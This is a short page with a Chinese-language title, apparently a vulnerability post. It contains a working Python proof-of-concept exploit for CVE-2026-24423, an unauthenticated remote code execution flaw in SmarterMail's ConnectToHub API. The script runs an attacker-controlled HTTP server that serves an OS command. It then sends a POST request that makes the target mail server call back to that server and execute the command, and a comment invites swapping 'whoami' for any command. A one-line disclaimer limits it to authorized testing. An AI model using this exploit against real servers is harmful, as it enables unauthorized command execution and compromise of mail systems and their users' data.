CVE-2026-24423: SmarterTools SmarterMail ConnectToHub API未授权远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2026-24423 PoC - SmarterMail ConnectToHub Unauthenticated RCE # Note: This PoC is for educational and authorized testing purposes only import http.server import socketserver import threading import requests import sys class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Send malicious response with OS command # Modify 'whoami' to any desired command malicious_response = "whoami" self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(malicious_response.encode()) def log_message(self, format, *args): pass # Suppress logging def start_malicious_server(port=8080): with socketserver.TCPServer(("", port), MaliciousHandler) as httpd: httpd.handle_request() # Handle single request def exploit_target(target_url, attacker_ip, attacker_port=8080): # Start malicious HTTP server in background thread server_thread = threading.Thread(target=start_malicious_server, args=(attacker_port,)) server_thread.daemon = True server_thread.start() # Construct the malicious request to ConnectToHub API # The target SmarterMail server will connect back to our server endpoint = f"{target_url}/api/v1/connectToHub" payload = { "serverAddress": f"http://{attacker_ip}:{attacker_port}" } try: print(f"[*] Sending exploit to {endpoint}...") response = requests.post(endpoint, json=payload, timeout=30) print(f"[+] Response status: {response.status_code}") print(f"[*] Check attacker server for command execution result") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <attacker_ip> <attacker_port>") print(f"Example: {sys.argv[0]} http://target:17001 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = int(sys.argv[3]) exploit_target(target, attacker_ip, attacker_port)